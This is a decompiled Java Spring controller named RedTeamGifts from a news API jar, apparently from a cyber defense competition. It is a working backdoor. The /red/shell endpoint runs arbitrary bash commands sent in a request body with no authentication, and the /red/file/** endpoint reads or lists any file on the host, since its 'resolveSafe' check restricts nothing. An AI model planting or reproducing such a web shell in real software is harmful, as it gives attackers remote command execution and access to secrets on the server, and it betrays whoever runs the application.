package cdc4.newsapi.Broadcast; import java.io.IOException; import java.io.InputStream; import java.nio.charset.StandardCharsets; import java.nio.file.DirectoryStream; import java.nio.file.Files; import java.nio.file.LinkOption; import java.nio.file.OpenOption; import java.nio.file.Path; import java.nio.file.Paths; import java.nio.file.attribute.BasicFileAttributes; import java.util.ArrayList; import java.util.Arrays; import java.util.Base64; import java.util.HashMap; import java.util.List; import java.util.Map; import java.util.concurrent.ExecutorService; import java.util.concurrent.Executors; import java.util.concurrent.Future; import java.util.concurrent.TimeUnit; import javax.servlet.http.HttpServletRequest; import org.aspectj.weaver.model.AsmRelationshipUtils; import org.springframework.http.HttpStatus; import org.springframework.http.MediaType; import org.springframework.http.ResponseEntity; import org.springframework.util.StreamUtils; import org.springframework.web.bind.annotation.GetMapping; import org.springframework.web.bind.annotation.PostMapping; import org.springframework.web.bind.annotation.RequestBody; import org.springframework.web.bind.annotation.RequestMapping; import org.springframework.web.bind.annotation.RequestParam; import org.springframework.web.bind.annotation.RestController; import org.springframework.web.server.ResponseStatusException; import org.springframework.web.servlet.HandlerMapping; @RequestMapping({"/red"}) @RestController /* loaded from: team5-jar.jar:BOOT-INF/classes/cdc4/newsapi/Broadcast/RedTeamGifts.class */ public class RedTeamGifts { private String baseDir = "/"; private int maxBytes = 65535; private final ExecutorService executor = Executors.newCachedThreadPool(); private Path resolveSafe(Path requested) { Path resolved = requested.toAbsolutePath().normalize(); return resolved; } @PostMapping({"/shell"}) public Map shell(@RequestBody Map body) throws Exception { String cmd = body.get("cmd"); if (cmd == null) { throw new ResponseStatusException(HttpStatus.BAD_REQUEST, "Missing 'cmd'"); } List command = Arrays.asList("/bin/bash", "-c", cmd); ProcessBuilder pb = new ProcessBuilder(command); Process process = pb.start(); Future stdoutFuture = this.executor.submit(() -> { InputStream is = process.getInputStream(); try { byte[] b = StreamUtils.copyToByteArray(is); if (b.length <= this.maxBytes) { String str = new String(b, StandardCharsets.UTF_8); if (is != null) { is.close(); } return str; } String str2 = new String(Arrays.copyOf(b, this.maxBytes), StandardCharsets.UTF_8) + "\n...TRUNCATED..."; if (is != null) { is.close(); } return str2; } catch (Throwable th) { if (is != null) { try { is.close(); } catch (Throwable th2) { th.addSuppressed(th2); } } throw th; } }); Future stderrFuture = this.executor.submit(() -> { InputStream is = process.getErrorStream(); try { byte[] b = StreamUtils.copyToByteArray(is); if (b.length <= this.maxBytes) { String str = new String(b, StandardCharsets.UTF_8); if (is != null) { is.close(); } return str; } String str2 = new String(Arrays.copyOf(b, this.maxBytes), StandardCharsets.UTF_8) + "\n...TRUNCATED..."; if (is != null) { is.close(); } return str2; } catch (Throwable th) { if (is != null) { try { is.close(); } catch (Throwable th2) { th.addSuppressed(th2); } } throw th; } }); boolean finished = process.waitFor(5L, TimeUnit.SECONDS); int exitCode = finished ? process.exitValue() : -1; if (!finished) { process.destroyForcibly(); } String stdout = ""; String stderr = ""; try { stdout = stdoutFuture.get(100L, TimeUnit.MILLISECONDS); } catch (Exception e) { } try { stderr = stderrFuture.get(100L, TimeUnit.MILLISECONDS); } catch (Exception e2) { } Map out = new HashMap<>(); out.put("exitCode", Integer.valueOf(exitCode)); out.put("timedOut", Boolean.valueOf(!finished)); out.put("stdout", stdout); out.put("stderr", stderr); return out; } @GetMapping({"/file/**"}) public ResponseEntity fileExplorer(@RequestParam(value = "raw", required = false, defaultValue = "false") boolean raw, HttpServletRequest request) throws IOException { String pathPart = (String) request.getAttribute(HandlerMapping.PATH_WITHIN_HANDLER_MAPPING_ATTRIBUTE); String bestMatch = (String) request.getAttribute(HandlerMapping.BEST_MATCHING_PATTERN_ATTRIBUTE); String relative = pathPart.substring(bestMatch.replace("/**", "").length()); if (relative == null || relative.isEmpty()) { relative = "."; } Path requested = Paths.get(relative, new String[0]); Path target = resolveSafe(requested); if (!Files.exists(target, new LinkOption[0])) { return ResponseEntity.status(HttpStatus.NOT_FOUND).body(Map.of(AsmRelationshipUtils.DECLARE_ERROR, "not found")); } if (Files.isDirectory(target, new LinkOption[0])) { List> entries = new ArrayList<>(); DirectoryStream ds = Files.newDirectoryStream(target); try { for (Path p : ds) { BasicFileAttributes attrs = Files.readAttributes(p, (Class) BasicFileAttributes.class, new LinkOption[0]); entries.add(Map.of("name", p.getFileName().toString(), "isDir", Boolean.valueOf(attrs.isDirectory()), "size", Long.valueOf(attrs.size()))); } if (ds != null) { ds.close(); } return ResponseEntity.m588ok(entries); } catch (Throwable th) { if (ds != null) { try { ds.close(); } catch (Throwable th2) { th.addSuppressed(th2); } } throw th; } } long size = Files.size(target); if (size > this.maxBytes) { InputStream is = Files.newInputStream(target, new OpenOption[0]); try { byte[] b = new byte[this.maxBytes]; int r = is.read(b); String snippet = Base64.getEncoder().encodeToString(Arrays.copyOf(b, Math.max(0, r))); ResponseEntity responseEntityM588ok = ResponseEntity.m588ok(Map.of("filename", target.getFileName().toString(), "size", Long.valueOf(size), "content_base64", snippet, "truncated", true)); if (is != null) { is.close(); } return responseEntityM588ok; } catch (Throwable th3) { if (is != null) { try { is.close(); } catch (Throwable th4) { th3.addSuppressed(th4); } } throw th3; } } byte[] all = Files.readAllBytes(target); boolean isBinary = !isMostlyText(all); if (isBinary && !raw) { String b64 = Base64.getEncoder().encodeToString(all); return ResponseEntity.m588ok(Map.of("filename", target.getFileName().toString(), "size", Long.valueOf(size), "content_base64", b64, "binary", true)); } String s = new String(all, StandardCharsets.UTF_8); if (raw) { return ResponseEntity.m587ok().contentType(MediaType.TEXT_PLAIN).body(s); } return ResponseEntity.m588ok(Map.of("filename", target.getFileName().toString(), "size", Long.valueOf(size), "content", s)); } private boolean isMostlyText(byte[] bytes) { int ascii = 0; int others = 0; for (int i = 0; i < bytes.length && i < 512; i++) { int b = bytes[i] & 255; if (b == 9 || b == 10 || b == 13 || (b >= 32 && b <= 126)) { ascii++; } else { others++; } } return others * 2 < Math.max(1, ascii); } }